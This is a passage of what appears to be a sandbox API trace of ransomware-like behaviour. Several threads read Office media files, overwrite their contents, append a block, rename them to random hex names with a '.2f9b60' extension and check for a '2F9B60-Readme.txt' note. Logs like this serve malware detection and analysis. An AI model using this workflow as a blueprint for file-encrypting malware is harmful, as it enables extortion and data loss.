out: Seed=0x3938f750) returned 0x61c60b14 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x3d1f36e1 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x5df7acb [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x62d66ec0 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x5a333f9e [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x335fdd38 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x67c8d977 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x4f93565 [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x7ec3e8ff [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x27845fb [0115.861] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x30041ec0 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x27b9dda8 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x2865869b [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x5b81795a [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x2595b03e [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x7f376be0 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x14099326 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x6e8eebe4 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x6ce291a3 [0115.862] RtlRandomEx (in: Seed=0x3938f750 | out: Seed=0x3938f750) returned 0x22232980 [0115.871] ReadFile (in: hFile=0xd7c, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x27ee, lpNumberOfBytesRead=0x3938f750, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x3938f750*=0x27ee, lpOverlapped=0x0) returned 1 [0115.910] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.910] WriteFile (in: hFile=0xd7c, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x27ee, lpNumberOfBytesWritten=0x3938f754, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x3938f754*=0x27ee, lpOverlapped=0x0) returned 1 [0116.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0116.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0116.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0116.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0116.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0116.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0116.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0116.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9700 [0116.083] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.083] WriteFile (in: hFile=0xd7c, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3938f870, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x3938f870*=0x10a, lpOverlapped=0x0) returned 1 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0116.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a30) returned 1 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0116.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a00 [0116.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a00) returned 1 [0116.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0116.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0116.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.113] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="80") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="21") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="0c") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="3b") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="ef") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="d8") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="34") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="44") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="2c") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="6e") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="42") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="ee") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="5f") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="28") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="91") returned 2 [0116.113] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="85") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="f9") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="ef") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="f0") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="e4") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="a4") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="b8") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="8b") returned 2 [0116.114] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="01") returned 2 [0116.114] RtlInitAnsiString (in: DestinationString=0x3938f8e8, SourceString="80210c3befd834442c6e42ee5f289185f9eff0e4a4b88b01" | out: DestinationString="80210c3befd834442c6e42ee5f289185f9eff0e4a4b88b01") [0116.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x3938f8b8, SourceString="80210c3befd834442c6e42ee5f289185f9eff0e4a4b88b01", AllocateDestinationString=1 | out: DestinationString="80210c3befd834442c6e42ee5f289185f9eff0e4a4b88b01") returned 0x0 [0116.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0116.114] wcscat (in: _Dest=0x1b7ad7a0, _Source="80210c3befd8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8" [0116.114] wcscat (in: _Dest=0x1b7ad7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8.2f9b60" [0116.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8.2f9b60", NtPathName=0x3938f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\80210c3befd8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0116.115] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x3938f930, FileInformation=0x2050bc10, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0116.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0116.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0116.117] NtQueryInformationFile (in: FileHandle=0xd7c, IoStatusBlock=0x3938f8f8, FileInformation=0x3938f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3938f8f8, FileInformation=0x3938f908) returned 0x0 [0116.117] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x3938f8f8, FileInformation=0x3938f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0116.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0116.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0116.118] FlushFileBuffers (hFile=0xd7c) returned 1 [0116.782] CloseHandle (hObject=0xd7c) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b280 [0116.996] wcscpy (in: _Dest=0x1b86b280, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0116.996] wcscat (in: _Dest=0x1b86b280, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0116.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0116.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b280) returned 1 [0116.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b0d0) returned 1 Thread: id = 1249 os_tid = 0xcb8 [0115.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif")) returned 0x20 [0115.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF", dwFileAttributes=0x20) returned 1 [0115.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0115.706] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x39a0fb20 | out: lpFileSize=0x39a0fb20*=3407) returned 1 [0115.706] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0xd4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.706] ReadFile (in: hFile=0x14c0, lpBuffer=0x39a0faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39a0fae8, lpOverlapped=0x0 | out: lpBuffer=0x39a0faa0*, lpNumberOfBytesRead=0x39a0fae8*=0x4, lpOverlapped=0x0) returned 1 [0115.741] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9730 [0115.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a60 [0115.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.742] NtQuerySystemTime (in: CurrentTime=0x39a0f9e0 | out: CurrentTime=0x39a0f9e0*=132462177212038000) returned 0x0 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x18254dd8 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x534b6b26 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x633f71f4 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x51c95870 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x596e1a67 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x27d001eb [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x4780f60c [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x7b37e5e1 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x5cc775e1 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x33313f42 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x4af7e7f4 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x6b1b13c [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x34ee69ee [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x4838d11b [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x5cd56640 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x2e0cb53c [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x2d3f28b [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x13002165 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x5611d5e0 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x6c014bd3 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x5195bf41 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x14136cef [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x35e44a78 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x203895ae [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x31949b4 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x27830e94 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x4ee91882 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x6935c538 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x479d7485 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x267a3ea9 [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x5f03094b [0115.742] RtlRandomEx (in: Seed=0x39a0f9d0 | out: Seed=0x39a0f9d0) returned 0x58a90037 [0115.751] ReadFile (in: hFile=0x14c0, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0xd4f, lpNumberOfBytesRead=0x39a0f9d0, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x39a0f9d0*=0xd4f, lpOverlapped=0x0) returned 1 [0115.751] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.751] WriteFile (in: hFile=0x14c0, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0xd4f, lpNumberOfBytesWritten=0x39a0f9d4, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x39a0f9d4*=0xd4f, lpOverlapped=0x0) returned 1 [0115.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0115.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262000) returned 1 [0115.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0115.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0115.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0115.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0115.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262000 [0115.910] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.912] WriteFile (in: hFile=0x14c0, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39a0faf0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x39a0faf0*=0x10a, lpOverlapped=0x0) returned 1 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0115.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a90) returned 1 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a90 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9790 [0115.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9790) returned 1 [0115.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0115.976] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="db") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="29") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="0b") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="d0") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="61") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="ec") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="a7") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="5b") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="ff") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="20") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="34") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="0f") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="c3") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="53") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="68") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="f2") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="cf") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="2a") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="a3") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="78") returned 2 [0115.976] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="f0") returned 2 [0115.976] RtlInitAnsiString (in: DestinationString=0x39a0fb68, SourceString="db290bd061eca75bff20340fc353683be0f2e0cf2aa378f0" | out: DestinationString="db290bd061eca75bff20340fc353683be0f2e0cf2aa378f0") [0115.976] RtlAnsiStringToUnicodeString (in: DestinationString=0x39a0fb38, SourceString="db290bd061eca75bff20340fc353683be0f2e0cf2aa378f0", AllocateDestinationString=1 | out: DestinationString="db290bd061eca75bff20340fc353683be0f2e0cf2aa378f0") returned 0x0 [0115.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0115.977] wcscat (in: _Dest=0x1b7ae4c0, _Source="db290bd061ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec" [0115.977] wcscat (in: _Dest=0x1b7ae4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec.2f9b60" [0115.977] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec.2f9b60", NtPathName=0x39a0fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\db290bd061ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bc10 [0115.977] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x39a0fbb0, FileInformation=0x2050bc10, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0115.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0115.998] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x39a0fb78, FileInformation=0x39a0fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39a0fb78, FileInformation=0x39a0fb88) returned 0x0 [0115.999] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x39a0fb78, FileInformation=0x39a0fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0116.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0116.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0116.000] FlushFileBuffers (hFile=0x14c0) returned 1 [0116.003] CloseHandle (hObject=0x14c0) returned 1 [0116.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b310 [0116.014] wcscpy (in: _Dest=0x1b86b310, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0116.014] wcscat (in: _Dest=0x1b86b310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0116.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0116.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b310) returned 1 [0116.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 Thread: id = 1250 os_tid = 0xcbc [0115.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf")) returned 0x20 [0115.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF", dwFileAttributes=0x20) returned 1 [0115.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0115.704] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3963fbe0 | out: lpFileSize=0x3963fbe0*=6176) returned 1 [0115.704] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x181c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.704] ReadFile (in: hFile=0x149c, lpBuffer=0x3963fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3963fba8, lpOverlapped=0x0 | out: lpBuffer=0x3963fb60*, lpNumberOfBytesRead=0x3963fba8*=0x4, lpOverlapped=0x0) returned 1 [0115.756] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9730 [0115.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.756] NtQuerySystemTime (in: CurrentTime=0x3963faa0 | 